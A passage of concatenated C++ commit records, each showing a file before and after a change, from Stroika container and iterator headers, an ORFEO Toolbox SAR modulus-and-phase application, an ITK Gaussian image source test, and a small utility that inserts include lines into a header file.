ENABLE_IF_IS_COMPARER>\n inline SortedCollection<T>::SortedCollection (const INORDER_COMPARER& inorderComparer, ENABLE_IF_IS_COMPARER*)\n : inherited (move (Factory::SortedCollection_Factory<T, INORDER_COMPARER> (inorderComparer) ()))\n {\n static_assert (Common::IsInOrderComparer<INORDER_COMPARER> (), \"InOrder comparer required with SortedCollection\");\n _AssertRepValidType ();\n }\n template <typename T>\n inline SortedCollection<T>::SortedCollection (const _SortedCollectionRepSharedPtr& src) noexcept\n : inherited (src)\n {\n RequireNotNull (src);\n _AssertRepValidType ();\n }\n template <typename T>\n inline SortedCollection<T>::SortedCollection (_SortedCollectionRepSharedPtr&& src) noexcept\n : inherited ((RequireNotNull (src), move (src)))\n {\n _AssertRepValidType ();\n }\n template <typename T>\n inline SortedCollection<T>::SortedCollection (const initializer_list<T>& src)\n : SortedCollection ()\n {\n this->AddAll (src);\n _AssertRepValidType ();\n }\n template <typename T>\n inline SortedCollection<T>::SortedCollection (const InOrderComparerType& inOrderComparer, const initializer_list<T>& src)\n : SortedCollection (inOrderComparer)\n {\n this->AddAll (src);\n _AssertRepValidType ();\n }\n template <typename T>\n template <typename CONTAINER_OF_T, typename ENABLE_IF>\n inline SortedCollection<T>::SortedCollection (const CONTAINER_OF_T& src)\n : SortedCollection ()\n {\n this->AddAll (src);\n _AssertRepValidType ();\n }\n template <typename T>\n template <typename CONTAINER_OF_T, typename ENABLE_IF>\n inline SortedCollection<T>::SortedCollection (const InOrderComparerType& inOrderComparer, const CONTAINER_OF_T& src)\n : SortedCollection (inOrderComparer)\n {\n this->AddAll (src);\n _AssertRepValidType ();\n }\n template <typename T>\n template <typename COPY_FROM_ITERATOR_OF_T>\n inline SortedCollection<T>::SortedCollection (COPY_FROM_ITERATOR_OF_T start, COPY_FROM_ITERATOR_OF_T end)\n : SortedCollection ()\n {\n this->AddAll (start, end);\n _AssertRepValidType ();\n }\n template <typename T>\n template <typename COPY_FROM_ITERATOR_OF_T>\n inline SortedCollection<T>::SortedCollection (const InOrderComparerType& inOrderComparer, COPY_FROM_ITERATOR_OF_T start, COPY_FROM_ITERATOR_OF_T end)\n : SortedCollection (inOrderComparer)\n {\n this->AddAll (start, end);\n _AssertRepValidType ();\n }\n template <typename T>\n inline void SortedCollection<T>::_AssertRepValidType () const\n {\n#if qDebug\n _SafeReadRepAccessor<_IRep>{this};\n#endif\n }\n }\n }\n}\n\n#endif \/* _Stroika_Foundation_Containers_SortedCollection_inl_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2013. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_DelegatedIterator_inl_\n#define _Stroika_Foundation_Traversal_DelegatedIterator_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n\n\n\nnamespace Stroika {\n namespace Foundation {\n namespace Traversal {\n\n\n \/*\n ********************************************************************************\n *********************** DelegatedIterator<T, EXTRA_DATA>::Rep ******************\n ********************************************************************************\n *\/\n template <typename T, typename EXTRA_DATA>\n DelegatedIterator<T, EXTRA_DATA>::Rep::Rep (const Iterator<T>& delegateTo, const EXTRA_DATA& extraData)\n : fDelegateTo (delegateTo)\n , fExtraData (extraData)\n {\n }\n template <typename T, typename EXTRA_DATA>\n typename Iterator<T>::SharedIRepPtr DelegatedIterator<T, EXTRA_DATA>::Rep::Clone () const\n {\n return SharedIRepPtr (new Rep (*this));\n }\n template <typename T, typename EXTRA_DATA>\n void DelegatedIterator<T, EXTRA_DATA>::Rep::More (Memory::Optional<T>* result, bool advance)\n {\n fDelegateTo.GetRep ().More (result, advance);\n }\n template <typename T, typename EXTRA_DATA>\n bool DelegatedIterator<T, EXTRA_DATA>::Rep::Equals (const IRep* rhs) const\n {\n return fDelegateTo.GetRep ().Equals (rhs);\n }\n template <typename T>\n DelegatedIterator<T, void>::Rep::Rep (const Iterator<T>& delegateTo)\n : fDelegateTo (delegateTo)\n {\n }\n\n\n \/*\n ********************************************************************************\n *********************** DelegatedIterator<T, EXTRA_DATA> ***********************\n ********************************************************************************\n *\/\n template <typename T, typename EXTRA_DATA>\n DelegatedIterator<T, EXTRA_DATA>::DelegatedIterator (const Iterator<T>& delegateTo, const EXTRA_DATA& extraData)\n : Iterator<T> (SharedIRepPtr (new Rep (delegateTo, extraData)))\n {\n }\n\n\n }\n }\n}\n#endif \/* _Stroika_Foundation_Traversal_DelegatedIterator_inl_ *\/\n<commit_msg>minor tweaks for DelegatedIterator\/gcc<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2013. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_DelegatedIterator_inl_\n#define _Stroika_Foundation_Traversal_DelegatedIterator_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n\n\n\nnamespace Stroika {\n namespace Foundation {\n namespace Traversal {\n\n\n \/*\n ********************************************************************************\n *********************** DelegatedIterator<T, EXTRA_DATA>::Rep ******************\n ********************************************************************************\n *\/\n template <typename T, typename EXTRA_DATA>\n DelegatedIterator<T, EXTRA_DATA>::Rep::Rep (const Iterator<T>& delegateTo, const EXTRA_DATA& extraData)\n : fDelegateTo (delegateTo)\n , fExtraData (extraData)\n {\n }\n template <typename T, typename EXTRA_DATA>\n typename Iterator<T>::SharedIRepPtr DelegatedIterator<T, EXTRA_DATA>::Rep::Clone () const\n {\n return SharedIRepPtr (new Rep (*this));\n }\n template <typename T, typename EXTRA_DATA>\n void DelegatedIterator<T, EXTRA_DATA>::Rep::More (Memory::Optional<T>* result, bool advance)\n {\n fDelegateTo.GetRep ().More (result, advance);\n }\n template <typename T, typename EXTRA_DATA>\n bool DelegatedIterator<T, EXTRA_DATA>::Rep::Equals (const IRep* rhs) const\n {\n return fDelegateTo.GetRep ().Equals (rhs);\n }\n template <typename T>\n DelegatedIterator<T, void>::Rep::Rep (const Iterator<T>& delegateTo)\n : fDelegateTo (delegateTo)\n {\n }\n\n\n \/*\n ********************************************************************************\n *********************** DelegatedIterator<T, EXTRA_DATA> ***********************\n ********************************************************************************\n *\/\n template <typename T, typename EXTRA_DATA>\n DelegatedIterator<T, EXTRA_DATA>::DelegatedIterator (const Iterator<T>& delegateTo, const EXTRA_DATA& extraData)\n : Iterator<T> (typename Iterator<T>::SharedIRepPtr (new Rep (delegateTo, extraData)))\n {\n }\n\n\n }\n }\n}\n#endif \/* _Stroika_Foundation_Traversal_DelegatedIterator_inl_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) CS Systemes d'information. All rights reserved.\n See CSCopyright.txt for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\n#include \"otbBandMathImageFilter.h\"\n#include \"itkComplexToPhaseImageFilter.h\"\n#include \"itkComplexToModulusImageFilter.h\"\n#include <itkMacro.h>\n\nnamespace otb\n{\n\/\/ Application class is defined in Wrapper namespace.\nnamespace Wrapper\n{\n\n\/\/ ComputeModulusAndPhase class is derived from Application class.\nclass ComputeModulusAndPhase: public Application\n{\npublic:\n \/\/ Class declaration is followed by ITK public types for the class, the superclass and smart pointers.\n typedef ComputeModulusAndPhase Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro (Self);\n itkTypeMacro(ComputeModulusAndPhase, otb::Application);\n\n \/\/typedefs for the application\n typedef otb::BandMathImageFilter<FloatImageType> BandMathType;\n typedef itk::ComplexToModulusImageFilter<ComplexFloatImageType, FloatImageType> ModulusFilterType; \n typedef itk::ComplexToPhaseImageFilter<ComplexFloatImageType, FloatImageType> PhaseFilterType; \n \n\nprivate:\n void DoInit()\n {\n SetName(\"ComputeModulusAndPhase\");\n SetDescription(\"This application computes the modulus and the phase of a complex SAR data.\");\n\n SetDocName(\"Compute Modulus And Phase\");\n SetDocLongDescription(\"This application computes the modulus and the phase of a complex SAR data. This complex SAR data could be provided as a monoband complex pixel type image or a 2 bands real pixel type image or two monobands (first one real part and second one imaginary part) real pixel type images.\");\n SetDocLimitations(\"None\");\n SetDocAuthors(\"Alexia Mondot (alexia.mondot@c-s.fr) and Mickael Savinaud (mickael.savinaud@c-s.fr)\");\n SetDocSeeAlso(\" \");\n AddDocTag(Tags::SAR);\n\n\n \/\/ Choice of number of entries\n AddParameter(ParameterType_Choice, \"nbinput\", \"Number Of inputs\");\n SetParameterDescription(\n \"nbinput\",\n \"Choice about the number of input files used to store the real and imaginary part of the SAR image\");\n\n AddChoice(\"nbinput.one\", \"One input\");\n SetParameterDescription(\"nbinput.one\", \"One input: one band (complex pixel type) SAR image or two bands (real complex type) SAR image.\");\n\n AddChoice(\"nbinput.two\", \"Two inputs\");\n SetParameterDescription(\"nbinput.two\", \"Two inputs: the first one is considered as real part and the second one as the imaginary part of the SAR image.\");\n\n \/\/ Inputs\n \/\/ Real part of a complex image\n AddParameter(ParameterType_InputImage, \"nbinput.two.re\", \"Real part input\");\n SetParameterDescription(\"nbinput.two.re\", \"Image file with real part of the SAR data.\");\n \/\/ Imaginary part of a complex image\n AddParameter(ParameterType_InputImage, \"nbinput.two.im\", \"Imaginary part input\");\n SetParameterDescription(\"nbinput.two.im\", \"Image file with imaginary part of the SAR data.\");\n \/\/ Complex image\n AddParameter(ParameterType_ComplexInputImage, \"nbinput.one.in\", \"Input image\");\n SetParameterDescription(\"nbinput.one.in\", \"Image file with SAR data.\");\n\n \/\/ Outputs\n AddParameter(ParameterType_OutputImage, \"mod\", \"Modulus\");\n SetParameterDescription(\"mod\", \"Modulus of the input: sqrt(real*real + imag*imag).\");\n \n AddParameter(ParameterType_OutputImage, \"pha\", \"Phase\");\n SetParameterDescription(\"pha\", \"Phase of the input: atan2(imag, real).\");\n\n AddRAMParameter();\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"nbinput.one.in\", \"monobandComplexFloat.tif\");\n SetDocExampleParameterValue(\"mod\", \"modulus.tif\");\n SetDocExampleParameterValue(\"pha\", \"phase.tif\");\n }\n\n \/\/ DoUpdateParameters() is called as soon as a parameter value change.\n void DoUpdateParameters()\n {\n \/\/ If one entry is choosen, disabled the re and im part\n \/\/ else disable complex\n const std::string numberOfInputs = GetParameterString(\"nbinput\");\n\n if (numberOfInputs == \"one\")\n {\n MandatoryOn(\"nbinput.one.in\");\n\n MandatoryOff(\"nbinput.two.re\");\n DisableParameter(\"nbinput.two.re\");\n \n MandatoryOff(\"nbinput.two.im\");\n DisableParameter(\"nbinput.two.im\");\n \n EnableParameter(\"nbinput.one.in\");\n }\n else\n {\n MandatoryOff(\"nbinput.one.in\");\n DisableParameter(\"nbinput.one.in\");\n \n MandatoryOn(\"nbinput.two.re\");\n MandatoryOn(\"nbinput.two.im\");\n\n EnableParameter(\"nbinput.two.re\");\n EnableParameter(\"nbinput.two.im\");\n }\n }\n\n \/\/ DoExecute() contains the application core.\n void DoExecute()\n {\n \n m_modulus2 = BandMathType::New();\n m_phase2 = BandMathType::New();\n\n m_modulus1 = ModulusFilterType::New();\n m_phase1 = PhaseFilterType::New(); \n\n const std::string numberOfInputs = GetParameterString(\"nbinput\");\n\n if (numberOfInputs == \"one\")\n {\n \/\/ Get the input image\n ComplexFloatImageType::Pointer inImage = this->GetParameterComplexFloatImage(\"nbinput.one.in\");\n\n m_modulus1->SetInput(inImage);\n m_phase1->SetInput(inImage); \n \n SetParameterOutputImage(\"mod\", m_modulus1->GetOutput() );\n SetParameterOutputImage(\"pha\", m_phase1->GetOutput());\n \n }\n else if (numberOfInputs == \"two\")\n {\n\n \/\/ Get the input image re\n FloatImageType::Pointer inImageRe = this->GetParameterFloatImage(\"nbinput.two.re\");\n \n \/\/ Get the input image im\n FloatImageType::Pointer inImageIm = this->GetParameterFloatImage(\"nbinput.two.im\");\n\n m_modulus2->SetNthInput(0, inImageRe,\"real\");\n m_modulus2->SetNthInput(1, inImageIm,\"imag\");\n m_modulus2->SetExpression(\"sqrt(real * real + imag * imag)\");\n\n m_phase2->SetNthInput(0, inImageRe,\"real\");\n m_phase2->SetNthInput(1, inImageIm,\"imag\");\n m_phase2->SetExpression(\"atan2( imag , real )\");\n\n SetParameterOutputImage(\"mod\", m_modulus2->GetOutput() );\n SetParameterOutputImage(\"pha\", m_phase2->GetOutput());\n }\n }\n \nBandMathType::Pointer m_modulus2;\nBandMathType::Pointer m_phase2;\nModulusFilterType::Pointer m_modulus1;\nPhaseFilterType::Pointer m_phase1;\n}\n\n;} \/\/ namespace Wrapper\n} \/\/ namespace otb\nOTB_APPLICATION_EXPORT(otb::Wrapper::ComputeModulusAndPhase)\n<commit_msg>DOC: Proof read ComputeModulusAndPhase doc<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) CS Systemes d'information. All rights reserved.\n See CSCopyright.txt for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\n#include \"otbBandMathImageFilter.h\"\n#include \"itkComplexToPhaseImageFilter.h\"\n#include \"itkComplexToModulusImageFilter.h\"\n#include <itkMacro.h>\n\nnamespace otb\n{\n\/\/ Application class is defined in Wrapper namespace.\nnamespace Wrapper\n{\n\n\/\/ ComputeModulusAndPhase class is derived from Application class.\nclass ComputeModulusAndPhase: public Application\n{\npublic:\n \/\/ Class declaration is followed by ITK public types for the class, the superclass and smart pointers.\n typedef ComputeModulusAndPhase Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro (Self);\n itkTypeMacro(ComputeModulusAndPhase, otb::Application);\n\n \/\/typedefs for the application\n typedef otb::BandMathImageFilter<FloatImageType> BandMathType;\n typedef itk::ComplexToModulusImageFilter<ComplexFloatImageType, FloatImageType> ModulusFilterType;\n typedef itk::ComplexToPhaseImageFilter<ComplexFloatImageType, FloatImageType> PhaseFilterType;\n\n\nprivate:\n void DoInit()\n {\n SetName(\"ComputeModulusAndPhase\");\n SetDescription(\"This application computes the modulus and the phase of a complex SAR image.\");\n\n SetDocName(\"Compute Modulus And Phase\");\n SetDocLongDescription(\"This application computes the modulus and the phase of a complex SAR image. This complex SAR image can be provided as either: a monoband image with complex pixels, a 2 bands image with real and imaginary channels, or 2 monoband images (first one real part and second one imaginary part)\");\n SetDocLimitations(\"None\");\n SetDocAuthors(\"Alexia Mondot (alexia.mondot@c-s.fr) and Mickael Savinaud (mickael.savinaud@c-s.fr)\");\n SetDocSeeAlso(\" \");\n AddDocTag(Tags::SAR);\n\n\n \/\/ Choice of number of entries\n AddParameter(ParameterType_Choice, \"nbinput\", \"Number Of inputs\");\n SetParameterDescription(\n \"nbinput\",\n \"Choice about the number of input files used to store the real and imaginary part of the SAR image\");\n\n AddChoice(\"nbinput.one\", \"One input\");\n SetParameterDescription(\"nbinput.one\", \"One input: one band (complex pixel type) SAR image or two bands (real complex type) SAR image.\");\n\n AddChoice(\"nbinput.two\", \"Two inputs\");\n SetParameterDescription(\"nbinput.two\", \"Two inputs: the first one is considered as real part and the second one as the imaginary part of the SAR image.\");\n\n \/\/ Inputs\n \/\/ Real part of a complex image\n AddParameter(ParameterType_InputImage, \"nbinput.two.re\", \"Real part input\");\n SetParameterDescription(\"nbinput.two.re\", \"Image file with real part of the SAR data.\");\n \/\/ Imaginary part of a complex image\n AddParameter(ParameterType_InputImage, \"nbinput.two.im\", \"Imaginary part input\");\n SetParameterDescription(\"nbinput.two.im\", \"Image file with imaginary part of the SAR data.\");\n \/\/ Complex image\n AddParameter(ParameterType_ComplexInputImage, \"nbinput.one.in\", \"Input image\");\n SetParameterDescription(\"nbinput.one.in\", \"Image file with SAR data.\");\n\n \/\/ Outputs\n AddParameter(ParameterType_OutputImage, \"mod\", \"Modulus\");\n SetParameterDescription(\"mod\", \"Modulus of the input: sqrt(real*real + imag*imag).\");\n\n AddParameter(ParameterType_OutputImage, \"pha\", \"Phase\");\n SetParameterDescription(\"pha\", \"Phase of the input: atan2(imag, real).\");\n\n AddRAMParameter();\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"nbinput.one.in\", \"monobandComplexFloat.tif\");\n SetDocExampleParameterValue(\"mod\", \"modulus.tif\");\n SetDocExampleParameterValue(\"pha\", \"phase.tif\");\n }\n\n \/\/ DoUpdateParameters() is called as soon as a parameter value change.\n void DoUpdateParameters()\n {\n \/\/ If one entry is choosen, disabled the re and im part\n \/\/ else disable complex\n const std::string numberOfInputs = GetParameterString(\"nbinput\");\n\n if (numberOfInputs == \"one\")\n {\n MandatoryOn(\"nbinput.one.in\");\n\n MandatoryOff(\"nbinput.two.re\");\n DisableParameter(\"nbinput.two.re\");\n\n MandatoryOff(\"nbinput.two.im\");\n DisableParameter(\"nbinput.two.im\");\n\n EnableParameter(\"nbinput.one.in\");\n }\n else\n {\n MandatoryOff(\"nbinput.one.in\");\n DisableParameter(\"nbinput.one.in\");\n\n MandatoryOn(\"nbinput.two.re\");\n MandatoryOn(\"nbinput.two.im\");\n\n EnableParameter(\"nbinput.two.re\");\n EnableParameter(\"nbinput.two.im\");\n }\n }\n\n \/\/ DoExecute() contains the application core.\n void DoExecute()\n {\n\n m_modulus2 = BandMathType::New();\n m_phase2 = BandMathType::New();\n\n m_modulus1 = ModulusFilterType::New();\n m_phase1 = PhaseFilterType::New();\n\n const std::string numberOfInputs = GetParameterString(\"nbinput\");\n\n if (numberOfInputs == \"one\")\n {\n \/\/ Get the input image\n ComplexFloatImageType::Pointer inImage = this->GetParameterComplexFloatImage(\"nbinput.one.in\");\n\n m_modulus1->SetInput(inImage);\n m_phase1->SetInput(inImage);\n\n SetParameterOutputImage(\"mod\", m_modulus1->GetOutput() );\n SetParameterOutputImage(\"pha\", m_phase1->GetOutput());\n\n }\n else if (numberOfInputs == \"two\")\n {\n\n \/\/ Get the input image re\n FloatImageType::Pointer inImageRe = this->GetParameterFloatImage(\"nbinput.two.re\");\n\n \/\/ Get the input image im\n FloatImageType::Pointer inImageIm = this->GetParameterFloatImage(\"nbinput.two.im\");\n\n m_modulus2->SetNthInput(0, inImageRe,\"real\");\n m_modulus2->SetNthInput(1, inImageIm,\"imag\");\n m_modulus2->SetExpression(\"sqrt(real * real + imag * imag)\");\n\n m_phase2->SetNthInput(0, inImageRe,\"real\");\n m_phase2->SetNthInput(1, inImageIm,\"imag\");\n m_phase2->SetExpression(\"atan2( imag , real )\");\n\n SetParameterOutputImage(\"mod\", m_modulus2->GetOutput() );\n SetParameterOutputImage(\"pha\", m_phase2->GetOutput());\n }\n }\n\nBandMathType::Pointer m_modulus2;\nBandMathType::Pointer m_phase2;\nModulusFilterType::Pointer m_modulus1;\nPhaseFilterType::Pointer m_phase1;\n}\n\n;} \/\/ namespace Wrapper\n} \/\/ namespace otb\nOTB_APPLICATION_EXPORT(otb::Wrapper::ComputeModulusAndPhase)\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"itkFilterWatcher.h\"\n#include \"itkGaussianImageSource.h\"\n\nint itkGaussianImageSourceTest(int, char* [] )\n{\n \/\/ This can be changed!\n const unsigned int dim = 3;\n\n \/\/ Image typedef\n typedef itk::Image< unsigned char, dim > ImageType;\n\n \/\/ Create a gaussian image source\n typedef itk::GaussianImageSource< ImageType > GaussianSourceType;\n GaussianSourceType::Pointer pSource = GaussianSourceType::New();\n FilterWatcher watcher(pSource, \"pSource\");\n\n ImageType::SpacingValueType spacing[] = { 1.2f, 1.3f, 1.4f };\n ImageType::PointValueType origin[] = { 1.0f, 4.0f, 2.0f };\n ImageType::SizeValueType size[] = { 130, 150, 120 };\n\n GaussianSourceType::ArrayType mean;\n mean[0] = size[0]\/2.0f + origin[0];\n mean[1] = size[1]\/2.0f + origin[1];\n mean[2] = size[2]\/2.0f + origin[2];\n\n GaussianSourceType::ArrayType sigma;\n sigma[0] = 25.0f;\n sigma[1] = 35.0f;\n sigma[2] = 55.0f;\n\n pSource->SetSize( size );\n pSource->SetOrigin( origin );\n pSource->SetSpacing( spacing );\n pSource->SetMean( mean );\n pSource->SetSigma( sigma );\n\n \/\/ Test the get macros as well (booorrring...)\n pSource->GetSize();\n pSource->GetSpacing();\n pSource->GetOrigin();\n pSource->GetDirection();\n pSource->GetScale();\n pSource->GetNormalized();\n pSource->GetSigma();\n pSource->GetMean();\n\n \/\/ Test the get\/set parameters\n GaussianSourceType::ParametersType params = pSource->GetParameters();\n if ( params.GetSize() != 7 )\n {\n std::cerr << \"Incorrect number of parameters. Expected 7, got \"\n << params.GetSize() << \".\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( params[0] != sigma[0] || params[1] != sigma[1] || params[2] != sigma[2] )\n {\n std::cerr << \"Parameters have incorrect sigma value.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( params[3] != mean[0] || params[4] != mean[1] || params[5] != mean[2] )\n {\n std::cerr << \"Parameters have incorrect mean value.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( params[6] != pSource->GetScale() )\n {\n std::cerr << \"Parameters have incorrect scale value.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n params[0] = 12.0;\n params[1] = 13.0;\n params[2] = 14.0;\n params[3] = 22.0;\n params[4] = 32.0;\n params[5] = 42.0;\n params[6] = 55.5;\n pSource->SetParameters( params );\n\n if ( pSource->GetSigma()[0] != params[0] ||\n pSource->GetSigma()[1] != params[1] ||\n pSource->GetSigma()[2] != params[2] )\n {\n std::cerr << \"Sigma disagrees with parameters array.\" << std::endl;\n std::cerr << \"Sigma: \" << pSource->GetSigma() << \", parameters: [\"\n << params[0] << \", \" << params[1] << \", \" << params[2]\n << \"]\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( pSource->GetMean()[0] != params[3] ||\n pSource->GetMean()[1] != params[4] ||\n pSource->GetMean()[2] != params[5] )\n {\n std::cerr << \"Mean disagrees with parameters array.\" << std::endl;\n std::cerr << \"Mean: \" << pSource->GetMean() << \", parameters: [\"\n << params[3] << \", \" << params[4] << \", \" << params[5]\n << \"]\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( pSource->GetScale() != params[6] )\n {\n std::cerr << \"Scale disagrees with parameters array.\" << std::endl;\n std::cerr << \"Scale: \" << pSource->GetScale() << \", parameters: \"\n << params[6] << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Get the output of the source\n ImageType::Pointer pImage = pSource->GetOutput();\n\n \/\/ Run the pipeline\n pSource->Update();\n\n std::cout << pImage << std::endl;\n\n return EXIT_SUCCESS;\n}\n<commit_msg>STYLE: Improve style in itkGaussianImageSourceTest.<commit_after>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"itkFilterWatcher.h\"\n#include \"itkGaussianImageSource.h\"\n#include \"itkTestingMacros.h\"\n\nint itkGaussianImageSourceTest(int, char* [] )\n{\n \/\/ This can be changed!\n const unsigned int Dimension = 3;\n typedef unsigned char PixelType;\n\n \/\/ Image typedef\n typedef itk::Image< PixelType, Dimension > ImageType;\n\n \/\/ Create a gaussian image source\n typedef itk::GaussianImageSource< ImageType > GaussianSourceType;\n GaussianSourceType::Pointer source = GaussianSourceType::New();\n FilterWatcher watcher(source, \"source\");\n\n ImageType::SpacingValueType spacing[] = { 1.2f, 1.3f, 1.4f };\n ImageType::PointValueType origin[] = { 1.0f, 4.0f, 2.0f };\n ImageType::SizeValueType size[] = { 130, 150, 120 };\n\n GaussianSourceType::ArrayType mean;\n mean[0] = size[0]\/2.0f + origin[0];\n mean[1] = size[1]\/2.0f + origin[1];\n mean[2] = size[2]\/2.0f + origin[2];\n\n GaussianSourceType::ArrayType sigma;\n sigma[0] = 25.0f;\n sigma[1] = 35.0f;\n sigma[2] = 55.0f;\n\n source->SetSize( size );\n source->SetOrigin( origin );\n source->SetSpacing( spacing );\n source->SetMean( mean );\n source->SetSigma( sigma );\n\n \/\/ Test the get macros as well (booorrring...)\n source->GetSize();\n source->GetSpacing();\n source->GetOrigin();\n source->GetDirection();\n source->GetScale();\n source->GetNormalized();\n source->GetSigma();\n source->GetMean();\n\n \/\/ Test the get\/set parameters\n GaussianSourceType::ParametersType params = source->GetParameters();\n if ( params.GetSize() != 7 )\n {\n std::cerr << \"Incorrect number of parameters. Expected 7, got \"\n << params.GetSize() << \".\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( params[0] != sigma[0] || params[1] != sigma[1] || params[2] != sigma[2] )\n {\n std::cerr << \"Parameters have incorrect sigma value.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( params[3] != mean[0] || params[4] != mean[1] || params[5] != mean[2] )\n {\n std::cerr << \"Parameters have incorrect mean value.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( params[6] != source->GetScale() )\n {\n std::cerr << \"Parameters have incorrect scale value.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n params[0] = 12.0;\n params[1] = 13.0;\n params[2] = 14.0;\n params[3] = 22.0;\n params[4] = 32.0;\n params[5] = 42.0;\n params[6] = 55.5;\n source->SetParameters( params );\n\n if ( source->GetSigma()[0] != params[0] ||\n source->GetSigma()[1] != params[1] ||\n source->GetSigma()[2] != params[2] )\n {\n std::cerr << \"Sigma disagrees with parameters array.\" << std::endl;\n std::cerr << \"Sigma: \" << source->GetSigma() << \", parameters: [\"\n << params[0] << \", \" << params[1] << \", \" << params[2]\n << \"]\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( source->GetMean()[0] != params[3] ||\n source->GetMean()[1] != params[4] ||\n source->GetMean()[2] != params[5] )\n {\n std::cerr << \"Mean disagrees with parameters array.\" << std::endl;\n std::cerr << \"Mean: \" << source->GetMean() << \", parameters: [\"\n << params[3] << \", \" << params[4] << \", \" << params[5]\n << \"]\" << std::endl;\n return EXIT_FAILURE;\n }\n\n if ( source->GetScale() != params[6] )\n {\n std::cerr << \"Scale disagrees with parameters array.\" << std::endl;\n std::cerr << \"Scale: \" << source->GetScale() << \", parameters: \"\n << params[6] << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Get the output of the source\n ImageType::ConstPointer image = source->GetOutput();\n\n \/\/ Run the pipeline\n TRY_EXPECT_NO_EXCEPTION( source->Update() );\n\n \/\/ Exercise the print method\n std::cout << image << std::endl;\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <string>\n#include <fstream>\n#include <sstream>\n\nusing namespace std;\n\nvector<string> split(string str, char delimiter) {\n\tvector<string> internal;\n\tstringstream ss(str);\n\tstring tok;\n\n\twhile (getline(ss, tok, delimiter)) {\n\t\tinternal.push_back(tok);\n\t}\n\n\treturn internal;\n}\n\n\nint addIncludeHeader(string name, char* path) {\n\tifstream iFile(path);\n\tstring str;\n\tstring fileContent = \"\";\n\n\tif (!iFile)\n\t\treturn 1;\n\n\twhile (!iFile.eof())\n\t{\n\t\tgetline(iFile, str);\n\n\t\tstr += \"\\n\";\n\t\tfileContent += str;\n\n\t\tstr = \"\";\n\t}\n\n\tiFile.close();\n\n\tvector<string> befor = split(fileContent, '\\n');\n\tvector<string> after;\n\n\tfor (unsigned int i = 0; i < befor.size(); i++) {\n\t\tafter.push_back(befor.at(i));\n\n\t\tif (befor.at(i) == \"\/\/HEADER\") {\n\t\t\tafter.push_back(\"#include <scripts\/\" + name + \".hpp>\");\n\t\t}\n\t}\n\n\tfileContent = \"\";\n\n\tfor (unsigned int i = 0; i < after.size(); i++) {\n\t\tfileContent += after.at(i) + \"\\n\";\n\t}\n\n\n\t\/\/cout << fileContent << endl;\n\n\n\tofstream oFile(path);\n\n\toFile.write(fileContent.c_str(), fileContent.size());\n\toFile.close();\n\treturn 0;\n}\n\n\nint addEngineRegister(string name, char* path) {\n\tifstream iFile(path);\n\tstring str;\n\tstring fileContent = \"\";\n\n\tif (!iFile)\n\t\treturn 1;\n\n\twhile (!iFile.eof())\n\t{\n\t\tgetline(iFile, str);\n\n\t\tstr += \"\\n\";\n\t\tfileContent += str;\n\n\t\tstr = \"\";\n\t}\n\n\tiFile.close();\n\n\tvector<string> befor = split(fileContent, '\\n');\n\tvector<string> after;\n\n\tfor (unsigned int i = 0; i < befor.size(); 